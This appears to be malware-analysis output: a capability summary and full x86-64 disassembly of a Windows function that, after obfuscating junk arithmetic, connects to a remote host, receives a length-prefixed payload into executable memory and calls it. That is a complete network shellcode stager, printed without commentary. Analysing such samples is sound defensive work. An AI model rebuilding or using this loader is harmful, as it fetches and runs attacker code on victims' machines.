Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x48], rdx
mov dword [rbp - 0x4c], ecx
call sym.__main
mov ecx, dword [rbp - 0x4c]
mov rdx, qword [rbp - 0x48]
mov dword [rbp - 4], 0
mov dword [rbp - 8], ecx
mov qword [rbp - 0x10], rdx
mov eax, dword [rbp - 0x14]
and eax, 3
mov dword [rbp - 0x18], eax
mov dword [rbp - 0x1c], 0
cmp dword [rbp - 0x18], 0
jne 0x140001734
mov eax, dword [rbp - 0x14]
or eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
xor ecx, 2
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001798
cmp dword [rbp - 0x18], 1
jne 0x140001757
mov eax, dword [rbp - 0x14]
and eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
add ecx, 3
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001793
cmp dword [rbp - 0x18], 2
jne 0x14000177a
mov eax, dword [rbp - 0x14]
xor eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
or ecx, 4
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x14000178e
mov eax, dword [rbp - 0x14]
add eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
and ecx, 5
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001793
jmp 0x140001798
cmp dword [rbp - 0x18], 0
jne 0x1400017bb
mov eax, dword [rbp - 0x14]
or eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
xor ecx, 2
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x14000181f
cmp dword [rbp - 0x18], 1
jne 0x1400017de
mov eax, dword [rbp - 0x14]
and eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
add ecx, 3
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x14000181a
cmp dword [rbp - 0x18], 2
jne 0x140001801
mov eax, dword [rbp - 0x14]
xor eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
or ecx, 4
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001815
mov eax, dword [rbp - 0x14]
add eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
and ecx, 5
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x14000181a
jmp 0x14000181f
cmp dword [rbp - 0x18], 0
jne 0x140001842
mov eax, dword [rbp - 0x14]
or eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
xor ecx, 2
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x1400018a6
cmp dword [rbp - 0x18], 1
jne 0x140001865
mov eax, dword [rbp - 0x14]
and eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
add ecx, 3
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x1400018a1
cmp dword [rbp - 0x18], 2
jne 0x140001888
mov eax, dword [rbp - 0x14]
xor eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
or ecx, 4
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x14000189c
mov eax, dword [rbp - 0x14]
add eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
and ecx, 5
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x1400018a1
jmp 0x1400018a6
cmp dword [rbp - 0x18], 0
jne 0x1400018c9
mov eax, dword [rbp - 0x14]
or eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
xor ecx, 2
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x14000192d
cmp dword [rbp - 0x18], 1
jne 0x1400018ec
mov eax, dword [rbp - 0x14]
and eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
add ecx, 3
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001928
cmp dword [rbp - 0x18], 2
jne 0x14000190f
mov eax, dword [rbp - 0x14]
xor eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
or ecx, 4
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001923
mov eax, dword [rbp - 0x14]
add eax, 0xbaaad0bf
mov ecx, dword [rbp - 0x14]
and ecx, 5
imul eax, ecx
mov dword [rbp - 0x1c], eax
jmp 0x140001928
jmp 0x14000192d
mov eax, dword [rbp - 0x1c]
mov dword [rbp - 0x14], eax
call sym.winsock_init
cmp dword [rbp - 8], 3
je 0x14000195f
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax]
lea rcx, str._s__host___port__n
call sym.printf
mov ecx, 1
call sym.exit
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x10]
call sub.msvcrt.dll_atoi
mov rcx, qword [rbp - 0x58]
mov edx, eax
call sym.wsconnect
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x38]
lea rdx, [rbp - 0x20]
mov r8d, 4
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp - 0x3c], eax
cmp dword [rbp - 0x3c], 4
jne 0x1400019b5
cmp dword [rbp - 0x20], 0
ja 0x1400019c5
mov rcx, qword [rbp - 0x38]
lea rdx, str.read_a_strange_or_incomplete_length_value_n
call sym.punt
mov eax, dword [rbp - 0x20]
add eax, 5
mov eax, eax
mov edx, eax
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x140001a04
mov rcx, qword [rbp - 0x38]
lea rdx, str.could_not_allocate_buffer_n
call sym.punt
mov rax, qword [rbp - 0x28]
mov byte [rax], 0xbf
mov rax, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x38]
mov dword [rax + 1], ecx
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x28]
add rdx, 5
mov r8d, dword [rbp - 0x20]
call sym.recv_all
mov dword [rbp - 0x3c], eax
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x30], rax
call qword [rbp - 0x30]
xor eax, eax
add rsp, 0x80
pop rbp
ret